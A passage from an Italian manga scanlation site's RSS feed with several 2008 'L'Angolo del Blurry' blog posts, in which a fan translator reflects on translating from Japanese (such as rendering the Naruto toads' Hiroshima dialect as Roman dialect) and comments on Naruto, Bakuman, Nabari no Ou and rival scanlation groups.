<p>1) Quando andrò a leggere i commenti a questo post non vorrei trovare una sfilza di &#8220;Bravissimo&#8221; o &#8220;Blurry sei grande&#8221; o &#8220;Continua così e fottitene degli altri&#8221;. A chiunque fa piacere l&#8217;assenso altrui, io non faccio eccezione, mi sembra ovvio. Anzi, una persona tendenzialmente insicura come me è particolarmente galvanizzata dall&#8217;apprezzamento altrui e altrettanto infastidita e rattristata dall&#8217;opposizione. No, io vorrei leggere vostre riflessioni personali, cose che mi facciano capire che voi questo post l&#8217;abbiate letto soffermandovi per <em>comprenderlo</em>, non semplicemente scorso con gli occhi per cercare di capire più o meno il senso e commentare con una delle solite frasi di massima.</p>
<p>2) Questo <em>non</em> è un post <em>contro. </em>Questa vuole essere una riflessione <em>per. </em>Inizialmente avevo pensato di scrivere un articolo simile a questo confrontando traduzioni mie o di altri ragazzi di Komixjam con altre traduzioni reperibili in Italia. Ma questo ha senso? Certo, magari fornirebbe esempi per meglio comprendere certe affermazioni che faremo in seguito, ma inevitabilmente si trasformerebbe anche in una operazione contro qualcuno che a nostro parere lavora in modo approssimativo. E questa è una nostra opinione, che non vogliamo in nessun modo promuovere tra i nostri lettori e che non serve a niente.</p>
<p>3) Questo post è una riflessione &#8220;per&#8221;, nel senso che esso ha semplicemente lo scopo di informare. E informare è la cosa più importante che si possa fare, perchè significa fornire a chi legge gli strumenti per valutare e quindi giudicare. E di conseguenza essere libero di scegliere. Questa è un&#8217;arma a doppio taglio perchè non di rado può caderne vittima anche chi ha fornito l&#8217;informazione. In altre parole, se io adesso informo voi, e se voi recepite le informazioni nel modo più proficuo possibile, non solo saprete qualcosa che prima non sapevate, ma avrete anche gli strumenti per controllare <em>me </em>e di conseguenza per poter ribattere ad armi pari su questioni che, altrimenti, vi vedrebbero meno preparati di quanto &#8211; per necessità e per virtù &#8211; sia io.</p>
<p>Partiamo da una premessa fondamentale. Io non sono un appassionato di manga in senso stretto. Ne conosco pochi, ne leggo ancora meno. Generalmente leggo solo in manga che traduco, pochissimi altri. Non sono uno di quelli che conosce a memoria tutta la bibliografia dei singoli autori o che leggono ogni settimana tutte le serie del Jump. Questo perché i miei studi mi lasciano poco tempo libero, ma anche semplicemente perché i manga non sono la mia vita. Però mi piacciono molto e cerco di informarmi quanto posso. Sono sempre molto contento di conoscere ragazzi e ragazze che invece hanno una grandissima cultura in questo campo, mi diverte parlare con loro e piano piano un po&#8217; di cultura me la sto facendo anche io.</p>
<p>Io sono fondamentalmente un appassionato di lingue &#8211; niente battutine please. In particolare, come ormai sanno anche i muri, studio giapponese da quando avevo 15 anni (ora ne ho quasi 21) e questa lingua rappresenta a tutti gli effetti una mia grandissima passione, qualcosa che fa parte di me e senza la quale non potrei vivere. Ci sono stati d&#8217;animo, sentimenti e idee che esprimo meglio con il giapponese piuttosto che con l&#8217;italiano, perché nessun concetto è esattamente traducibile da una lingua all&#8217;altra, e spesso ci si innamora di un concetto che si riesce ad esprimere compiutamente solo in una lingua differente dalla nostra. Nel mio caso questa lingua è il giapponese, senza dubbio. Dopo 6 anni di studio posso dire di capire bene il giapponese scritto, di scriverlo in modo soddisfacente, di capirlo e di parlarlo decentemente. Probabilmente potrei vivere in Giappone adattandomi dopo qualche mese. La mia passione per le lingue, però, nasce al liceo. Ho frequentato un liceo classico di Firenze dove, chiaramente, sono stato esposto alle lingue classiche e a continue prove di traduzione. Adoro anche solo l&#8217;aspetto morfologico di una lingua, il modo in cui i verbi si trasformano per coniugarsi è qualcosa che per me ha allo stesso tempo un che di magico e un che di tremendamente concreto. Per me studiare la morfologia di una lingua significa in realtà analizzare il ragionamento, demolire un concetto fino ai suoi componenti essenziali: da un miscuglio di colori isolare i colori fondamentali che l&#8217;hanno composto in diverse proporzioni. Ridurre tutto ad un unico antenato, un unica radice. Entrare in contatto con l&#8217;essenziale, quello che da il senso ad una parola. Il suo &#8220;tema&#8221;. Quello che la rende diversa e la identifica.</p>
<p>Questo però è ancora un livello di studio un po&#8217; solipsistico. Siete tu e i tuoi verbi che cambiano forma e colore. Dov&#8217;è che la lingua si vivifica? Certamente nel suo aspetto comunicativo. Ogni lingua è strutturata secondo la mentalità del popolo che parlandola l&#8217;ha creata. Anche l&#8217;ambiente modifica la lingua: in Finlandia hanno tantissimi modi per dire &#8220;neve&#8221;, noi ne abbiamo due o tre. In giapponese ci sono decine di modi per dire &#8220;io&#8221; o &#8220;tu&#8221;, noi ne abbiamo uno solo. Non solo. Ogni lingua è diversa dalle altre nel modo in cui è strutturata la forma di comunicazione: il rivolgersi all&#8217;altro ha modalità differenti a seconda del popolo e conseguentemente della lingua. Ogni lingua ha, in definitiva, un sapore che è dato dal modo di &#8220;dire le cose&#8221; e &#8220;costruire le frasi&#8221;. Ne consegue che, quando si vuole tradurre da una lingua all&#8217;altra, in realtà non si possa rispettare la purezza del messaggio originale. Per tradurre un concetto da una lingua all&#8217;altra è necessario trovare una espressione che sia in grado di avvicinarsi a quella della lingua dalla quale si sta traducendo: non ne esiste quasi mai una assolutamente identica. Ci sarà sempre una piccola differenza di &#8220;sapore&#8221;. Questo è vero per le lingue neolatine e per quelle germaniche, e a maggior ragion è vero anche quando si tratta di tradurre in italiano un testo giapponese, prodotto di una cultura e di un popolo che spartisce con noi ben poco. In altre parole: in giapponese è quasi sempre impossibile tradurre alla lettera, e il senso originale è difficilissimo da mantener,e proprio perchè più una lingua è lontana da un&#8217;altra, più il suo sapore sarà dato da ingredienti di cui l&#8217;altra lingua è completamente povera. Tradurre dal giapponese all&#8217;italiano è un po&#8217; come fare una torta di mele senza poter usare le mele. Qual è la soluzione? Devi sostituirle con qualcosa che ci somigli e che dia l&#8217;idea di come poteva essere il sapore dell&#8217;originale.</p>
<p>Questa metafora mi soddisfa. Chi ha studiato una lingua come il giapponese e la conosce al punto da poter tradurre un manga è passato attraverso uno studio complesso e laborioso. Ma per tradurre bisogna anche amare l&#8217;idea che c&#8217;è dietro la traduzione. Cosa significa tradurre? Tradurre per me significa ricercare. Trovare il modo di far capire. Quando leggo un manga è come se stessi mangiando un dolce squisito. Siccome sono una persona a cui piace molto condividere &#8211; anzi, credo che la condivisione sia l&#8217;unica cosa veramente esaltante della vita &#8211; mi assale subito la voglia di spartire una fetta di torta con gli altri, in questo caso voi lettori. Ma come faccio? Voi non sapete il giapponese, se vi facessi assaggiare la torta così come la sto mangiando io voi non sentireste alcun sapore. Allora devo anzitutto memorizzare perfettamente il sapore della torta che sto mangiando. Poi, arriva il difficile: devo pensare a come rifarla utilizzando gli ingredienti che la mia lingua mi mette a disposizione. E questa chiaramente per un traduttore è la parte divertente, quella veramente goduriosa: ingegnarsi a riprodurre il sapore di qualcosa di inimitabile. A volte ci si riesce, altre no. Ma si fa sempre del proprio meglio.</p>
<p>Uscendo dalla metafora, tradurre per me significa catturare atmosfere più che parole e riprodurle nella mia lingua. Questo richiede anche coraggio, perchè a volte capita di dover completamente stravolgere una frase per poter fare un gioco di parole anche nella traduzione italiana, oppure per enfatizzare a dovere una frase che in giapponese è stata sottolineata dall&#8217;uso di un certo verbo piuttosto che un altro. Recentemente pare proprio che sia saltata fuori tanta gente che non capisce il perchè dell&#8217;uso del dialetto romano (più o meno romano, io sono solo mezzo laziale e dunque non sono bravo) nella traduzione dei dialoghi dei rospi in Naruto. Io &#8211; e altri per me &#8211; spiego spesso il motivo, ma altrettanto spesso non viene capito. Nel manga di Naruto i rospi parlano tutti, senza eccezioni, il dialetto di Hiroshima, un dialetto giapponese meridionale che suona molto buffo e &#8220;grezzo&#8221; alle orecchie dei lettori giapponesi. Questo lo so perchè in Giappone ho avuto modo di chiederlo a un po&#8217; di persone che hanno confermato quanto vi sto dicendo. Quando mi sono posto il problema di come tradurre, ho pensato: &#8220;questa cosa per un giapponese suona grezza, un po&#8217; buffa e non sempre del tutto comprensibile&#8221;. E allora mi sono detto che la soluzione migliore sarebbe stata quella di tentare l&#8217;utilizzo di un dialetto anche in italiano. E sono convinto di aver fatto la scelta giusta proprio quando la gente rimane perplessa di fronte a questa soluzione: è esattamente l&#8217;effetto che deve fare. Dite che rovina il manga? Beh, allora sappiate che la colpa è di Kishimoto, non mia, non di Tanuki. D&#8217;altra parte personaggi che parlano in dialetto sono presenti in Bleach, One Piece (una miriade), e quasi tutti i manga. Solo che si preferisce non tradurli, anche perchè nella traduzione inglese non si riesce a intuire l&#8217;utilizzo di un dialetto e dunque la cosa si perde già a questo livello.</p>
<p>E&#8217; stato detto che qui su Komixjam si pone l&#8217;accento sulle traduzioni dal giapponese per coprire carenze altrove e per screditare la concorrenza. Da quello che ho scritto spero che risulti chiara soprattutto una cosa: la traduzione dei manga per me non è una gara a chi traduce nel modo più figo, raffinato e cool. Io amo tradurre e lo faccio perseguendo l&#8217;obbiettivo che vi ho descritto prima: far assaggiare ai lettori un manga che abbia un sapore quanto più simile a quello originale. C&#8217;è chi ritiene che questo non sia così importante o che si ottenga anche traducendo dall&#8217;inglese. Io penso invece che si possa ottenere soltanto dal giapponese. Ma, badate bene, è la mia opinione. Ognuno segue la strada che ritiene opportuna e più consona ai propri desideri, inclinazioni e capacità. A me non interessa ciò che fanno gli altri. Io sono impegnato nella mia ricerca, una ricerca che mi diverte, mi migliora come persona e fa avanzare la mia passione per l&#8217;idea di mettere in comunicazione popoli lontani, perchè la comunicazione porta condivisione. Forse adesso penserete che la sto facendo tanto lunga per un paio di manga: mi va benissimo che la pensiate così. Per me si tratta di un&#8217;attività mentale di ricerca incessante della soluzione più naturale, più spontanea. Che mi rende più contento e più convinto di avervi fatto assaggiare una torta buona/cattiva/amara/aspra/rancida come quella che sto mangiando io. Niente di più. In altre parole, faccio quello che mi fa stare meglio sperando che renda contento anche chi legge. Se fare questo significa &#8220;tirarsela&#8221;, essere &#8220;arroganti&#8221; o denigrare chi fa altrimenti, beh, allora qualcosa non va. Qualcosa di grosso.</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-16-blurrys-anatomy/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #16 &#8211; Blurry&#8217;s Anatomy&#8230;'>L&#8217;Angolo del Blurry #16 &#8211; Blurry&#8217;s Anatomy&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-1/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #1'>L&#8217;Angolo del Blurry #1</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!'>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-21-rospi-che-parlano-romano/feed/</wfw:commentRss>
		<slash:comments>132</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #20 &#8211; Shinra Tensei!</title>
		<link>http://www.komixjam.it/langolo-del-blurry-20-shinra-tensei/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-20-shinra-tensei/#comments</comments>
		<pubDate>Sun, 21 Dec 2008 11:57:06 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[Nabari no ou ita]]></category>
		<category><![CDATA[Nabari no ou manga ita]]></category>
		<category><![CDATA[Nabari no ou yoite]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=7570</guid>
		<description><![CDATA[Eh già&#8230; Sono queste le parole della settimana: Shinra Tensei&#8230; Sinonimo di devastazione e cancellazione. Al loro sinistro suono una buona parte di Konoha scompare in un attimo, sgretolata da una potenza senza precedenti. Il Natale si avvicina, e credo proprio che a Konoha avranno qualche serio problema con gli addobbi.
 
Sicuramente ce ne sono di [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-14-battaglia-a-konoha/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!'>L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!'>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?'>L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-full wp-image-7571" title="images.jpg" src="http://www.komixjam.it/wp-content/uploads/2008/12/images.jpg.jpg" alt="images.jpg LAngolo del Blurry #20   Shinra Tensei!" width="127" height="98" />Eh già&#8230; Sono queste le parole della settimana: Shinra Tensei&#8230; Sinonimo di devastazione e cancellazione. Al loro sinistro suono una buona parte di Konoha scompare in un attimo, sgretolata da una potenza senza precedenti. Il Natale si avvicina, e credo proprio che a Konoha avranno qualche serio problema con gli addobbi.</p>
<p> </p>
<p><span id="more-7570"></span>Sicuramente ce ne sono di novità sul fronte <strong>Naruto</strong>. Pain ha fatto le cose in grande, non c&#8217;è che dire. Non contento di aver praticamente sterminato la compagine di volenterosi Jounin della Foglia, ha ritenuto opportuno radere al suolo mezza città, tanto lui è un Dio, e quindi non si preoccupa certo delle spese di ricostruzione. Tanto più che, se tanto mi da tanto, ho l&#8217;impressione che il già devastato villaggio stia rischiando seriamente di andare incontro ad una nuova ondata di distruzione se, come pare, è proprio vero che Naruto è finalmente riuscito a fare ritorno in patria. La situazione è comunque un po&#8217; strana: si prospettava uno scontro tra Pain e Tsunade, la quale avrebbe avuto ogni buona ragione per cercare vendetta contro questo pazzo esaltato &#8211; vabbè che Tsunade è abituata a veder schiattare la gente che ama, ma c&#8217;è un limite a tutto! In secondo luogo bisogna capire realmente chi è morto e chi invece è ancora vivo. Chouza sembrava ormai spacciato, e invece è stato miracolosamente salvato dalla brava Katsuyu; Kakashi sembra più morto che vivo, ma finchè non lo sento dire senza mezzi termini non ci credo. La povera Shizune è stata privata dell&#8217;anima, e dubito che stia particolarmente bene. Ora, non che nel caso di Shizune mi dispiaccia più di tanto&#8230; Era un personaggio abbastanza inutile, ma tutto sommato aveva un suo perché di esistere e trovo che sia morta in modo un po&#8217; gratuito. C&#8217;è da chiedersi, però: che fine fanno le anime estirpate da Pain? Forse che in caso di sconfitta del ragazzino emo sociopatico possano tornare nel corpo di appartenenza? Vedremo. Finalmente Konan si è rivolta a Pain chiamandolo Nagato. Ora, era abbastanza ovvio che il pischello emo con la frangiona doveva incastrarci qualcosa &#8211; se non altro perchè, beh, pare che il rinnegan lo avesse lui, sai com&#8217;è&#8230; Ma questo non spiega ancora un bel niente! Lo stesso Jiraiya alla fine pareva aver escluso che si trattasse di quella piaga di ragazzetto emo&#8230; Tutto ciò è molto strano, come pure il fatto che, stando alle parole della bella Konan, lo Shinra Tensei comporti un accorciamento della vita di quello psicolabile: ma non era un dio? Non era in qualche modo immortale? A quanto pare ci dev&#8217;essere un particolare che ancora ci manca per poter finalmente comprendere chi sia Pain, cosa c&#8217;entri Nagato, e come sia arrivato al punto in cui è adesso. Ovvero, cosa è successo ai 3 ragazzini che Jiraiya aveva salvato e svezzato &#8211; gran bell&#8217;affare Ero sennin, sì&#8230; Ma fortuna che mamma rospa era a fare shopping vicino a Konoha &#8211; i dintorni sono noti per la loro raffinata produzione gastronomica di larve, alghe bavose di palude e altre delicatezze tanto amate dai rospi. Ora mi aspetto un&#8217;evocazione a dir poco epica, e uno scontro che &#8211; sicuramente &#8211; ci riserverà sorprese a non finire. Almeno, speriamo. Particolarmente apprezzabile l&#8217;assenza di Sasuke. Come al solito, fa bene al manga.</p>
<p>Sul fronte anime possiamo anche tagliarci le palle. Sono in arrivo <strong>filler</strong>. Altri filler. Nuovi filler. Tra l&#8217;altro, vi farei notare la situazione a dir poco ridicola che ci introduce a questa nuova ed inutile saga. Orochimaru se ne sta sulla sua poltroncina tutto eccitato perchè sa che tra poco potrà <span style="text-decoration: line-through;">farsi</span> prendersi il corpo di Sasuke (l&#8217;ottimismo è il profumo della vita). Teoricamente, se si seguisse il manga, dovrebbe iniziare quasi immediatamente il combattimento tra l&#8217;emo di Konoha e il Biscione, ma si rimane immediatamente folgorati dalla seguente frase di Orochimaru: &#8220;Mmh.. Ormai manca poco&#8230; Potrò slinguazzarmi Sasuke&#8230; Anzi no&#8230; Prima devo fare una cosa&#8230; Kabutino mio, chiamami quella donna!&#8221;. A parte la coloritura che mi sono permesso di dare, la frase suona più o meno così: &#8220;Ok dai, adesso mi invento qualche cazzata per metterci di mezzo una saga filler e poi mi piglio Sasuke&#8221;. Insomma, ci sta come il cavolo fritto a merenda. Inoltre, abbiamo un nuovo personaggio. Ora, sappiamo tutti che per Orochimaru il massimo della femminilità è Tayuya &#8211; leggi: scaricatore di porto &#8211; e la nuova tizia si dimostra subito all&#8217;altezza della sua nobile antesignana. In poche parole, nel covo di Orochimaru c&#8217;è un&#8217;unica vera donna, ovvero lui. Insomma, da questi filler non ho alcuna aspettativa. Pare che abbiano a che fare con il Sanbi, il tartarugone di mare che Deidara e Tobi devono acciuffare. A quanto pare, però, Konoha tenterà di impedire che il simpatico animaletto finisca nelle mani della coppia più bella del mondo. Il risultato sarà ovviamente scontato. Resta da capire chi sarà l&#8217;emo di turno che si innamorerà di Naruto. Io punto sul tartarugone. </p>
<p>Oh. Finalmente <strong>Bakuman </strong>è su ottimi livelli di coinvolgimento &#8211; e parlo a titolo personale ovviamente. Anche nelle classifiche del Jump pare stia vivendo un momento di relativa fortuna &#8211; anche grazie ad interventi mirati. Insomma, si sta comportando come un manga da top 5, ma onestamente è difficile prevedere come andrà. Eiji rischiava di essere un personaggio incredibilmente piatto e poco interessante &#8211; almeno così inizialmente avevo temuto &#8211; ma si sta invece rivelando un pazzoide che un po&#8217; ci è e un po&#8217; ci fa. Mi sta simpatico. Trovo interessante che la rivalità tra lui e i protagonisti si stia muovendo su binari un po&#8217; inconsueti, credo che potrà rivelarsi abbastanza interessante. Tuttavia continuo a pensare che allo stato attuale Bakuman viva più del buon nome dei suoi autori piuttosto che del suo reale valore&#8230; Ma considerata l&#8217;attuale compagine del Jump credo che una cosa del genere si possa completamente perdonare. In ogni caso, pur riconoscendo a Bakuman qualche pecca, credo anche che l&#8217;idea alla base sia molto molto buona e che ci riserverà molte sorprese. Si configurerà come mainstream o come cult? </p>
<p>Infine, come avete sentito, <strong>Nabari no Ou</strong> sta arrivando su Komixjam. L&#8217;ho fortemente voluto e spero di riuscire a fare un buon lavoro di traduzione con questo bel manga di Yuuki Kamatani serializzato mensilmente sul GFantasy di casa Square-Enix. Sarà una buona occasione per voi utenti di Komixjam, abituati a leggere manga del Jump, per entrare in contatto con una serie della concorrenza. Vi renderete conto, secondo me, che il Jump oggigiorno deve fare i conti con una concorrenza che fa della qualità un punto forte importante, laddove invece il Jump tende troppo spesso a preoccuparsi della &#8220;quantità&#8221;. Come già scrissi tempo fa, in Nabari troverete molti elementi già presenti in manga come Naruto, interpretati però in modo intelligente e quasi sempre originali. Nabari non è sicuramente quel genere di manga che ti cambia la vita, ma altrettanto certamente è un manga che può far contenti tutti: grandi e piccini, ragazzi e ragazze. </p>
<p>Concludo ringraziandovi per l&#8217;entusiasmo che state mettendo nel forum. Non ci aspettavamo un successo così grande e così prematuro, ma siamo veramente contenti. Un grazie particolare a Cipo e a quanti di noi stanno seguendo da vicino lo sviluppo del forum. A chi, invece, pur di danneggiarci è arrivato ad infrangere la legge dico: Pezzenti.</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-14-battaglia-a-konoha/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!'>L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-23-caccia-alla-volpe/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!'>L&#8217;Angolo del Blurry #23 &#8211; Caccia alla volpe!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?'>L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-20-shinra-tensei/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?</title>
		<link>http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 12:30:41 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[blurry]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=6943</guid>
		<description><![CDATA[Sono talmente religioso che non sapevo neppure cosa si festeggiasse oggi. Ieri me l&#8217;hanno spiegato. Bah&#8230; Sono blasfemo se dico che io proprio non capisco niente di tutto ciò? Spero di no. In caso contrario, amen.

Wowowo! Perdonatemi per la settimana di assenza, anche se sono sicuro che non tutti si siano dispiaciuti per questa breve [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-asahi-beer-owns-me/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry &#8211; Asahi Beer Owns Me'>L&#8217;Angolo del Blurry &#8211; Asahi Beer Owns Me</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-14-battaglia-a-konoha/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!'>L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-3/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #3'>L&#8217;Angolo del Blurry #3</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.komixjam.it/wp-content/uploads/2008/12/245494657zjhnge_ph.jpg.jpg"><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-6945" title="245494657zjhnge_ph.jpg" src="http://www.komixjam.it/wp-content/uploads/2008/12/245494657zjhnge_ph.jpg-150x150.jpg" alt="245494657zjhnge ph.jpg 150x150 LAngolo del Blurry #19   Immacolata che?" width="150" height="150" /></a>Sono talmente religioso che non sapevo neppure cosa si festeggiasse oggi. Ieri me l&#8217;hanno spiegato. Bah&#8230; Sono blasfemo se dico che io proprio non capisco niente di tutto ciò? Spero di no. In caso contrario, amen.</p>
<p><span id="more-6943"></span></p>
<p>Wowowo! Perdonatemi per la<strong> s</strong><strong>ettimana di assenza</strong>, anche se sono sicuro che non tutti si siano dispiaciuti per questa breve interruzione. In effetti ho avuto parecchio da fare e, soprattutto, avevo poco da dire&#8230; E non c&#8217;è niente di peggio che riempire un articolo di banalità e cavolate random semplicemente per il gusto di scrivere e far sentire la propria voce che, a quel punto, può essere risparmiata per cose più urgenti.</p>
<p>Cominciamo dalle note piacevoli: ieri ho finalmente avuto il piacere di conoscere di persona il nostro <strong>Tanuki.</strong> Come alcuni sapranno, mi trovavo a Roma per sostenere un esame di giapponese alquanto arduo che per l&#8217;appunto vedeva impegnato anche Tanuki. Purtroppo, date le circostanze, non c&#8217;è stata l&#8217;occasione di parlare in modo rilassato e approfondito &#8211; eravamo abbastanza divorati dalla tensione, soprattutto io &#8211; e non ci siamo neppure fatti una foto ricordo dell&#8217;evento da poter postare qui su Komixjam per essere conseguentemente derisi a vita dai posteri. Pace, la prossima volta faremo una rimpatriata vera e propria, magari fuori dai confini italiani &#8211; a buon intenditor poche parole.</p>
<p>A proposito di Tanuki, vi annuncio che la prossima settimana sarà lui a tradurre Naruto al mio posto, e vi garantisco che le sue traduzioni sono veramente belle e avvincenti, quindi consideratevi in buone mani. Tra l&#8217;altro, un uccellino (e gli uccellini fanno CIP CIP ) mi ha detto che era da un po&#8217; che avrebbe voluto cimentarsi in un capitolo di Naruto per Komixjam, quindi, quale migliore occasione per sfoderare tutte i tuoi assi nella manica, Tanuki kun? <img src='http://www.komixjam.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="LAngolo del Blurry #19   Immacolata che?" /> </p>
<p>Sul fronte <strong>Naruto</strong>, le cose sembrano assai confuse. E&#8217; chiaro che questo assedio a Konoha sia destinato a tenere banco per un bel pezzo. Ormai tutti i Pain stanno ingaggiando battaglia in qualche luogo, e tutti i principali team &#8211; genitori al seguito &#8211; sono impegnati nella battaglia. Ed è proprio questo che mi lascia un pochetto perplesso: non sembra quasi che Kishimoto stia usando &#8220;forzatamente&#8221; tutti questi personaggi che altrimenti finirebbero nel dimenticatoio? Si rischia di vedere queste mere comparse recitare ruoli assolutamente marginali e forse non degni del passato &#8220;glorioso&#8221; che certi personaggi hanno avuto. Ma, come al solito, per formulare un giudizio oggettivo sarà necessario attendere la conclusione dell&#8217;azione &#8211; o persino la conclusione del manga, non si sa mai. Intanto, Tsunade e Pain si sono finalmente incontrati, e il Quinto Hokage ha riconosciuto in lui qualcuno, presumibilmente il giovane Yahiko che lei aveva conosciuto ancora ragazzino in occasione della ritirata da una delle innumerevoli guerre alle quali partecipò in gioventù. Cosa dobbiamo aspettarci da quello che si preannuncia a tutti gli effetti come uno scontro strategicamente fondamentale? La morte di Tsunade non è un&#8217;opzione improbabile, anzi, è persino troppo probabile, soprattutto dopoché Danzou ha svelato manifestamente le proprie mire. A questo punto la trama potrebbe esigere la scomparsa di Tsunade dalle scene. Vero è che la morte di due personaggi fondamentali come Tsunade e Kakashi difficilmente può avvenire in concomitanza&#8230; Ora, questa non è una regola, ma semplicemente quello che di norma accade nella maggior parte dei manga. Dobbiamo quindi aspettarci un Kakashi redivivo? Onestamente non saprei: l&#8217;incontro col padre (nell&#8217;aldilà?) lasciava presumere senza troppi dubbi che per il Copy Ninja fosse scoccata l&#8217;ultima ora, ma chissà&#8230; Fino all&#8217;ultimo non possiamo pronunciarci. Per la pettoruta Tsunade, invece, si prospetta una morte gloriosa in difesa del villaggio e di Naruto, come Hokage, e come colei che più di tutti ha scelto di credere in quel ragazzino &#8220;malefico&#8221;. Un&#8217;altra incognita è la sorte di Konohamaru, che in ogni caso mi sembra troppo giovane e &#8220;positivo&#8221; per andare incontro ad un destino di morte&#8230; Sarebbe veramente eccessivo!</p>
<p>Veniamo a <a href="http://www.komixjam.it/manga/97-bakuman/"><strong>Bakuman</strong></a>. Stavolta voglio rendervi partecipi di tutto il mio disappunto. Non ce l&#8217;ho con gli autori, stranamente, bensì con chi si ostina a non postare la raw in tempi decenti. Questa settimana siamo al colmo: è lunedì e ancora la raw di Bakuman non si vede. Questo chiaramente rende impossibile la traduzione dal giapponese, la pulizia (per coloro che partono dalla raw) e avvantaggia i team che traducono dall&#8217;inglese. Ora, io non mi pongo più il problema della velocità, perché ritengo che la mia offerta non abbia necessariamente bisogno di essere la più rapida ad uscire e perché so per certo che chi segue Komixjam aspetta tranquillamente un paio di giorni in più se poi il risultato finale ha un valore che lo giustifichi. Però, trovo profondamente contrario allo spirito delle scanlation il comportamento di chi, pur possedendo la raw, la tiene per sé e non la condivide con gli altri. Mi sembra persino ridicolo il concetto di &#8220;monopolio&#8221;, dato che stiamo parlando comunque di una cosa che, non mi stancherò mai di ripeterlo, deve essere anzitutto un divertimento e un piacere per i fan. Così si finisce per scadere nelle stesse identiche logiche di mercato che stanno dietro ai monopoli economici e alla politica. E ciò è altamente schifoso: su questo penso che sia difficile non essere d&#8217;accordo. Gli Sleepyfans si dimostrano non diversi dai Binktopia: nonostante avessero promesso condivisioni di raw e quant&#8217;altro, non hanno mantenuto neppure mezza promessa e, peraltro, le loro release sono anche piuttosto mediocri. Ma tanto, si sa, quando si ha il coltello dalla parte del manico la qualità diventa un optional.</p>
<p>Detto questo, torno a studiare. Scusate per la brevità, ma davvero ho tanto tanto da fare.</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-asahi-beer-owns-me/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry &#8211; Asahi Beer Owns Me'>L&#8217;Angolo del Blurry &#8211; Asahi Beer Owns Me</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-14-battaglia-a-konoha/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!'>L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-3/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #3'>L&#8217;Angolo del Blurry #3</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo (retto) del Blurry #18 &#8211; Vedere il Futuro&#8230;</title>
		<link>http://www.komixjam.it/langolo-retto-del-blurry-18-vedere-il-futuro/</link>
		<comments>http://www.komixjam.it/langolo-retto-del-blurry-18-vedere-il-futuro/#comments</comments>
		<pubDate>Sat, 22 Nov 2008 13:44:06 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
